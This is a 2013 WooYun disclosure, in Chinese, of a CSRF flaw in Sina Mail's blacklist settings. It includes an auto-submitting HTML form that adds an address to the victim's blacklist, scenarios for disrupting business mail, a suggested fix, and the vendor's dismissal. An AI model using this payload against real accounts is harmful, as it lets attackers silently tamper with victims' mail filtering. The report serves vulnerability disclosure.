当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-016118

漏洞标题：新浪邮箱存csrf，黑白名单随便设置

相关厂商：新浪

漏洞作者： 小胖胖要减肥

提交时间：2013-07-08 22:28

修复时间：2013-07-09 12:14

公开时间：2013-07-09 12:14

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-08： 细节已通知厂商并且等待厂商处理中
2013-07-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

新浪.com和.cn邮箱存在csrf，又是可以刷分的，第一次在wooyun提交csrf，新浪邮箱已经被挖过一次了，看来你们并没有重视起来，不知道邮箱那帮人在想什么，哎
剑心其实很多问题都存在，只是想到逐利的应用场景对吧

详细说明：

邮箱在设置黑白名单的时候存在csrf，而且完全没有判断是否当前用户，危害还是蛮大的，
应用场景：
1.比如别人把我加黑名单，我用另外一个给他发邮件，他点击后把黑名单的邮件地址可以变成白名单
2.比如我知道对方一直和一个公司或者个人邮件往来，我可以发邮件给他把那个人或域直接加入黑名单，而那个人根本不知道
个人认为直接加黑名单方式危害更大，比如商业上的恶意竞争，最后查出来是新浪邮箱的问题的话就囧了

漏洞证明：

给个加黑名单的把，白名单和域的黑白名单应该也有这个问题

<html>
<body>
<form id="wrhoooo" name="wrhoooo" action="http://m0.mail.sina.com.cn/wa.php?a=add_antispam" method="post">
<input type="test" name="items" value="test@123.com" />
<input type="test" name="blacklist" value="1" />
<input type="test" name="a" value="add_antispam" />
</form>
<script>
document.wrhoooo.submit();
</script>
</body>
</html>


返回的成功消息{"result":true,"errno":0,"msg":"","data":"660368":"test@123.com"}}

修复方案：

加一个随机token吧，验证下referer，注意正则，别被绕过了

版权声明：转载请注明来源 小胖胖要减肥@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-07-09 12:14

厂商回复：

感谢关注新浪安全，但有token机制。
如有问题，请及时反馈，我们将立即跟进~

最新状态：

暂无